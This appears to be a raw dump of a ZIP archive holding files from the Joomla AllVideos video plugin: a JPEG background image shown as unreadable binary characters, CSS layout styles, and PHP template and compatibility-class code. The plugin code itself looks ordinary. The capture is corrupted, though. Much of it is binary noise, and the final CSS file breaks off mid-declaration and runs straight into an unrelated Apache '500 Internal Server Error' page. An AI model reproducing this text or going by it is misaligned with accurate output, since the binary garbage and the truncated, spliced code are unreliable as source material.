PK       ! :Ԃ6  6  Q  content/jw_allvideos/jw_allvideos/tmpl/Framed/images/allvideos_v4_bg_1000x550.jpgnu bS         Exif  II*             Ducky     P  -http://ns.adobe.com/xap/1.0/ <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh" xmpMM:InstanceID="xmp.iid:FFD8F70945E711E1A758BBDF62CAD05B" xmpMM:DocumentID="xmp.did:FFD8F70A45E711E1A758BBDF62CAD05B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FFD8F70745E711E1A758BBDF62CAD05B" stRef:documentID="xmp.did:FFD8F70845E711E1A758BBDF62CAD05B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> Adobe d     		

					 &  i          	                  a1AQ!R"B                   ?                           0      P j=q@5H
GhkHKbkBTBkJ`y-
ǀX@{+`RQf#7h3hE͸tGX@eh@ehSIq`5l)J[@ݲ`\iNllЂ-i 4:Ŵ	 %&-  k+++++++h L       N  0      kd    @(Gj{X:75DG%X y-
ǀX@xV).nCEcxàZ=@dF[H-l걒\n27l)-ni. 2ZK2ZK&judd;`JZ_+-           
     L 0   L    f@   4 (
Q@(ǕX4
ǕHtEH%X )ǐn xHtGȏ+h:͠^27m-A^2-@dF[:d@28հ)mv7}}}}}}1mmv	p-b- d tJ   @A   f0       f@   kd     {+j= +AHt%MGht
!MGhtGn<p`yc,
Cj<:)V5<v< {4Xf: T Z2H R- 28l)------N. _`Ų[@Ĥ[*%@5\@ 	@S@S@S@ HSU2  52        	    &   
 Gn<`(Gj{X:75DG%X )ǐn xH !5kǐn3h@eh Z2K{d\-Rn T%G htdd;``M<ZtK        ))
   0   L 0        @@@P j=+Kpy:)E5
ǀX@xHtGycPfy[F-lf)3hh`(@eh Rհ
[@[@ݲ[@[@	ju0i.3m              b4 &   	   		       Q !5j= 7+75DG%X )ǐl`y<j<R< ]l݌F@e@d4n2͠R2-@7qKKhA:)l%ofS&%m-bR6-Uc   
fՉ     .
       L     Q (
Q@5Hd
iR QjR<n :7AX ;# j<AQ`n27lf)іd# jp RR-pS(  `Ipmbfbٱ P k ubH     0     0   f\  {( -V77+5D`RQ!5`RQ!5uäGhd
Ռn27lf)}q7m@[   [ [  [ [ Ŵ	 [  & Ŵ(lW(
Z@  
h
h
h
h
h   E9\ !.
0   ND(  L    L    5ǐV<@{#5@n=n<cҤ:@Ԥy:7AtGn<`{6Gn<p`yX:@UR2mF[xhe@@enKKhhAK  v-No~zC@
h(        'M,  P`  0L    L L    0@ {(
iR lSqbJkSQJc+`v<c.
+`j2XdAhd[5#-@4Z27l/j-h RR-p    v--NoL |@ pP          rX B\ R:%!@   		     &Gh P@x
Gj{Һ;V*)*CZ=@5`RQ# n2A 5,j2@UR2R2͠R!qm 
_`հ
[@ݲ 
_`_`հ`_` [@1l  *

  9]++h I    ֠@Đ t  `  & &     3.t
 Gh -@P+BTBk"^B<V<"BV`(GX# P%FHk+lͻd5l͠KKhhA   R   d;`6fD  ;\\\\\\\  9]h@ *i`	N&  ` `  & &     '> 
 5HCP`yX kJBk"U ;AX4
Cn2AHcQF`հ3RK
[C6//j----------No/L vPk+l        ++p S@ K M
uc  0L 0    @   &
 Gh -@Xt%D)Uy:@ؕ# j<:,ǐl@7dV)lj2@հѸ j[@)}}Khfݲ  )}}}}}}}}}}`  Ŵ	Bk ;M P       N) 8 9]h@SŉNq@ 	` 	    `  3. HtGh5@P+HKbXG/!QDhd
.
6@;w5lVu#Fj-mv8
_`_cFжe [ [ [ [ [ [ [ [ Ŵ4N}f>EM!           r Wb@:$0Z$Z@ 	` 	  &     3  `(
 GR<V;Ad (T
-DydǰlSbZ ;մ d@;w5lղV)m[Gmn-7ll4/jжlcB ;l>RŠvvv@Q]]@ !  8+p tRH tJK `PRH 0L 0 e2  2 
@(Ght%D)Uy:Vc,GM	n2A-@d[  d[ v[ 3mmA j[@[@ݲ     [ [ Ŵ	 [ 4/|
P    W W W W   Wb $ŀ1\褐 蔖 	 R 	 & & &    4
Q)At
yX:B[<R QjlJ7ķd4 5l`հ
[@d5llXʹ4n/j)mmmvж@Ah  W        rr  9]h	%1\褐 蔖 :$ '>)
0     px7AP j= `yXxBAJ#!/! 6%HPtSb[Pv`mnXAKh7lW-7}}}}}}8 ͋iv
 
h      N kp rH	AtRH tJK@D)0     L  @ HtGh  VJP
-.@SbTM	n2Ad`RXAKh_h  j[@[@   ivћV=M  5]h    qb54  4  r L$& :)$ :%%Nq` 	` 	 &	 &  2@ {@j<@ ( *t%D(# U 6%HPKKh//jd``m-n-ReallWm  
ŀ      :& 'M 	 :)0X 褐 蔖&:$Z@s  L 000   L  {@P j=@(Ҥ:ZTTؗc Z2h`mnRd``mn/j-h uc67llll4 f-fX  :(k++++p  :ŉ	@8L$1.AtRH0)	 &	 &  & 3.   (  ;AP P (
QcBTBQiRPSb]j%`vj-hAKhmn//jo//b` vD      " qb``r	%KpD>&:		ϰtJBL 000   Lt
 
 
Cj<@ c%Q
EX["[`mnXAKhm-n-Rm-----------bhh tP @   0)   uK L J`%8IRX	HPHR` 	ˀd @  	Gh j=@5P P c%BUalR@إVȖ j-hAKhmn-X v//j-------No/b6$   f+N  N  `S@uK L :)0 9.0)ϰ5		ϰ`K@ `Ĺ   f\  F[@P P P 	Q
U%@-Mvj-hAKh A Kh @@A@@@Ah  `        L `S@uK L :)01.AtRH%	HP &		 & & &   	 (  {@P P P -bTBUaln- ["[`` A Khm-n--R      m-No/xU4              & 0(BS&IS`809	 &  & 3.    @  @@@j@uc7}-PdTմ["[`d`v///jo///b0P    v    8$P$0L r]
d%%KpDN L f\R` 	e2  s   
 
 
_` 5ljvƭ-`-- [ [ 7}}V)mm@  [ [ [ [ [ [ [ [ [ [  6'll  ;\t       r   ` `1.AtRhH	,LB@蔧%	:%!I	 & & &  2   @  ղղKV*. 
pSv-- [   [ [ [ [ [ 	 [ [ [ [    P    L  +p  0N	uK L%Ц@BRXĹN %0)		ϰL 0p``      7 
 
 
V4
 
j`*hD7}V)mm@7}}}}}}}}}}}8       f  A 8%	,L 0(BS`t)Ic2S(  3. 0t      d ( ([  մ_` մ
[+Ж ݴhKv7} ShKv7}}V)mmm@        3mmmv3}  p
W`    54 & 1.A r).Ic2t)1.At)J}b\@֧ & &  1.Af]   &     d 5m@   ղ_` 9m,j)a	 ݴhKv7}Nj%`_`_`հ`_`_`Ų
         ``  L``1.A`PrhPO.,`SD)00 `   	ϰ       jd  Kd@@ualn- Xʹ["KdvnX[@[@$dddddddddddddhQmm              &ˑLuK`ĹBX`褐Jkĺ@ e2	 & & &  2         AjhA@rXݲ_b]6( 9m	n/v@ݰuc6)mmmmmmmmv4  '}ǲx   @A   L L  `0) &ˀdE&t)Ic2Rr s  L N}		  ̸@         j@@ RP @rXղ%dSw) [B[@@A7llll9}//b
      `   00 9 0) &	`JK%Ц:%%K)L N}`2  & &  2        j v` mRjicv9lR_hKv V3mm@Ŵ%ddddddddddhQmm-,ǀX  ( &  `  & &Kp F\@0).Ib`ĹeЦ@BRXĹeЦ:%)rR2e2  &   2        `  P K jh@A icVZ]E5}v@ݰ     P    L     }(     `  F\@1.Ap`̹ȗP$0b\	IcЧD>1.PJB)
f]  	` 	              [@;l`_` ʹ
[ [ [  ʹKP[ )	///n////rX);dIlVP 
  3\@ 		 #.L  ̺A0f\dKX%8
1.AM
tJSc
8( e2  `          [   [@;l`_`  [@[@_`_`հ   3m["YV;lr[ [ )dIlEKhh4	ޣҰ   4 & &  0'& 3.L"'>r%%KpBXĹB)N )
0 0t              (  ʹ6[  ʹ
[ [ [          &     Ͱ|J ǐl P Pf2h   2` ̺A0f\dKX%8
1.AM
tJSc
8( e2  `            V4  ʹ6 5l@  (@[@_`_`_`_`_`հ     [ [ [  Ҡ       L L p`Ĺ e2	2S"]@1.A`PrhSRk(P%5 0%!@&  & 3.                `  @fdd    PKdddddddddddde@    P      2r ˀheȦD%JK &:%)rR 	HS2  L  L                 h   d     @f0  HZY    P L 0   L L  0`S]@0r]
d%%Kf]
aRk(P%!@3.)
f]  	` 	 3.                    Pdd               m-})i@  A   0   F\@  `   &	S !),LB@蔖1.P09	ˠd f\    ˀd                   /j  @fm-n   ````````   dKZTc,    [ [ [ [    & &Kp f] 3.E2$9Kp&KL tJKĺ@   ```  3.                     j    m--h  m------------p  m}9iP f<            ``̹ȗP$9Kp!)OKp\	McH `̹A0   f\                        5ll@      մ` - ( 3l       			  '> 0tR`!),b\& H %8 &  s                          -h                  LZT   j   mN% p 00`S]@& 9.0),b\2SXĹB)
 ( %8ˠd                                ```             PZ@P @ m---h  -p 00L  0b\	N}E$),f\e`se2  & 3.                                               A @   0     0N	uK``JK & K)`S ` `2  f\                                                >  ;l`     1l  & & 0) & &Kp80r]
aRk(P$Z@蔅& &      ˀd                                                   m-----p    L L `S@uK%Ц@BRXĹI tJKe8%!Lˠd 0b\̺@  N}                                               H           ``X` 	LX:)$J}`P L N}` 	 &	ˠd                                                 􅤾@`       0 8$P$rB@IcE$),b\@ `  ```  3.                                                }XА  `    @uK L :)0 9.0)O & '>0t &Kp L  e2                                                -.v}
    pH :%&J@:)0ŉ	@:%%
 `  2e2  `                                                H :)dd     0)dX`8L$1.AtRHЧV809	pP	 & & &   	                                                -*q`  v  qb``8L$1.AtRH0)	 &	 &  & 3.                                                     
X       I` '}[  B@Ic8I Ic$Z@s  L 000   L                                                 I}V4  Ͱ
[@: X    &  B@Ic8I IbhS@ R`  &	ˠd  e2                                                  d     mf  b E&`-p ЧV80)
L 0   0                                                  m,tH [ [      	8  ) B@I`[ :)$ :%%Mjq` 	ϰL 0  e2  2                                                  mtH         [B	%&  褐 蔖 :$ '>)
                                                        @pS PL  B@0q`[  褐:$0Z$Z@ 	` 	 & & 3.                                                      =iv@   8)Հ   tH  W b E$DЧV8Չ  0   L  L                                                       ic3 @ Жg)?:΀t?@:;?	<g;?)@K?:?>? q 1x 7x 7^3?	y_zs?9  x @y _ =~ ? <oc 3?? _                                                                     PK       ! Zrs  s  >  content/jw_allvideos/jw_allvideos/tmpl/Framed/css/template.cssnu bS        /**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

/* General */
.avPlayerWrapper div,
.avPlayerWrapper iframe,
.avPlayerWrapper video,
.avPlayerWrapper audio {outline:0;}

.avDownloadLink {}
.avDownloadLink a,
.avDownloadLink a:link {display:block;background:#eee;padding:10px;text-align:center;font-weight:bold;font-size:12px;color:#999;text-decoration:none;}
.avDownloadLink a:hover {background:#ddd;color:#666;text-decoration:none;}

.avPlayerBlockDisabled {width:auto;height:auto;padding:20px;}
a.avDeprecated,
a.avDeprecated:link {display:block;background:#eee;padding:20px;text-align:center;font-weight:bold;font-size:16px;color:#999;text-decoration:none;}
a.avDeprecated:hover {background:#ddd;color:#666;text-decoration:none;}

/* Framed Layout */
.avPlayerWrapper {display:block;padding:0;margin:0 auto;clear:both;}
.avPlayerWrapper .avPlayerContainer {display:block;padding:0;margin:0 auto;}
.avPlayerWrapper.avVideo .avPlayerContainer {padding:16px 20px 14px;border-radius:4px;background:url(../images/allvideos_v4_bg_1000x550.jpg) repeat 50% 50%;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock {display:block;padding:0;margin:0;line-height:normal;text-align:center;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock video {background:#000;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock audio {background-color:#000;background-repeat:no-repeat;background-position:50% 50%;background-size:cover;padding:10px;}
PK       !     :  content/jw_allvideos/jw_allvideos/tmpl/Classic/default.phpnu bS        <?php
/**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

?>

<div class="avPlayerWrapper<?php echo $output->mediaTypeClass; ?>">
    <div style="width:<?php echo $output->playerWidth; ?>px;" class="avPlayerContainer">
        <div id="<?php echo $output->playerID; ?>" class="avPlayerBlock">
            <?php echo $output->player; ?>
        </div>
        <?php if (($allowVideoDownloading && $output->mediaType == 'video') || ($allowAudioDownloading && $output->mediaType == 'audio')): ?>
        <div class="avDownloadLink">
            <a target="_blank" href="<?php echo $output->source; ?>" download><?php echo JText::_('JW_PLG_AV_DOWNLOAD'); ?></a>
        </div>
        <?php endif; ?>
    </div>
</div>
PK       ! cb    ?  content/jw_allvideos/jw_allvideos/tmpl/Classic/css/template.cssnu bS        /**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

/* General */
.avPlayerWrapper div,
.avPlayerWrapper iframe,
.avPlayerWrapper video,
.avPlayerWrapper audio {outline:0;}

.avDownloadLink {}
.avDownloadLink a,
.avDownloadLink a:link {display:block;background:#eee;padding:10px;text-align:center;font-weight:bold;font-size:12px;color:#999;text-decoration:none;}
.avDownloadLink a:hover {background:#ddd;color:#666;text-decoration:none;}

.avPlayerBlockDisabled {width:auto;height:auto;padding:20px;}
a.avDeprecated,
a.avDeprecated:link {display:block;background:#eee;padding:20px;text-align:center;font-weight:bold;font-size:16px;color:#999;text-decoration:none;}
a.avDeprecated:hover {background:#ddd;color:#666;text-decoration:none;}

/* Classic Layout */
.avPlayerWrapper {display:block;padding:0;margin:0 auto;clear:both;}
.avPlayerWrapper .avPlayerContainer {display:block;padding:0;margin:0 auto;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock {display:block;padding:0;margin:0;line-height:normal;text-align:center;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock video {background:#000;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock audio {background-color:#000;background-repeat:no-repeat;background-position:50% 50%;background-size:cover;padding:10px;}
PK       ! Z<i
  i
  <  content/jw_allvideos/jw_allvideos/includes/elements/base.phpnu bS        <?php
/**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

// Joomla 4 & 5
if (version_compare(JVERSION, '4', 'ge')) {
    $aliases = [
        'JFactory'   => 'Joomla\\CMS\\Factory',
        'JFormField' => 'Joomla\\CMS\\Form\\FormField',
        'JHtml'      => 'Joomla\\CMS\\HTML\\HTMLHelper',
        'JText'      => 'Joomla\\CMS\\Language\\Text',
        'JUri'       => 'Joomla\\CMS\\Uri\\Uri',
    ];
    foreach ($aliases as $legacy => $modern) {
        if (class_exists($modern) && ! class_exists($legacy)) {
            class_alias($modern, $legacy);
        }
    }
} elseif (version_compare(JVERSION, '2.5.0', 'ge')) {
    jimport('joomla.form.formfield');
}

if (version_compare(JVERSION, '3.5.0', 'ge')) {
    class JWElement extends JFormField
    {
        public function getInput()
        {
            $controls = (! empty($this->options['control'])) ? $this->options['control'] : [];
            return $this->fetchElement($this->name, $this->value, $this->element, $controls);
        }

        public function getLabel()
        {
            if (method_exists($this, 'fetchTooltip')) {
                $controls = (! empty($this->options['control'])) ? $this->options['control'] : [];
                return $this->fetchTooltip($this->element['label'], $this->description, $this->element, $controls, $this->element['name'] = '');
            } else {
                return parent::getLabel();
            }
        }

        public function render($layoutId, $data = [])
        {
            return $this->getInput();
        }
    }
} elseif (version_compare(JVERSION, '2.5.0', 'ge')) {
    class JWElement extends JFormField
    {
        public function getInput()
        {
            return $this->fetchElement($this->name, $this->value, $this->element, $this->options['control']);
        }

        public function getLabel()
        {
            if (method_exists($this, 'fetchTooltip')) {
                return $this->fetchTooltip($this->element['label'], $this->description, $this->element, $this->options['control'], $this->element['name'] = '');
            } else {
                return parent::getLabel();
            }
        }

        public function render()
        {
            return $this->getInput();
        }
    }
} else {
    jimport('joomla.html.parameter.element');
    class JWElement extends JElement
    {
    }
}
PK       ! E7L1  1  >  content/jw_allvideos/jw_allvideos/includes/elements/header.cssnu bS        /**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license:https://www.gnu.org/copyleft/gpl.html
 */

/* --- Common --- */
/* Header */
.jwHeaderContainer {background:#e5f7fd;color:#346b93;font-size:20px;margin:0;padding:24px 16px;border-radius:4px;}
    .jwHeaderContent {}
    .jwHeaderClr {clear:both;height:0;line-height:0;border:none;float:none;background:none;padding:0;margin:0;}


/* --- Joomla 4.x --- */
/* Style parameters for plugins */
.com_plugins .col-lg-9 .control-group {border-radius:4px;padding:0;margin:0 0 4px 0 !important;}
.com_plugins .col-lg-9 .control-group:nth-child(2n-1) {background:#f7f7f7;}
.com_plugins .col-lg-9 .control-group:last-child {margin-bottom:100px !important;}
.com_plugins .col-lg-9 .control-group .control-label,
.com_plugins .col-lg-9 .control-group .controls {padding:16px;margin:0;}
.com_plugins .col-lg-9 .control-group .control-label label {padding:0;margin:0;}
.com_plugins .col-lg-9 .control-group .controls label {}
.com_plugins .col-lg-9 .control-group .control-label label {font-size:14px;margin-top:4px;}

/* Resize parameter columns */
@media all and (min-width:771px) {
    .com_plugins .col-lg-9 .control-group .control-label {width:30% !important;}
    .com_plugins .col-lg-9 .control-group .controls {margin-left:32% !important;}
}
@media all and (min-width:481px) and (max-width:770px){
    .com_plugins .col-lg-9 .control-group .control-label {width:45% !important;}
    .com_plugins .col-lg-9 .control-group .controls {margin-left:47% !important;}
}
.com_plugins .col-lg-9 .control-group-header {background:#e5f7fd<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator at 
 postmaster@entreprises-adaptees.fr to inform them of the time this error occurred,
 and the actions you performed just before this error.</p>
<p>More information about this error may be available
in the server error log.</p>
</body></html>
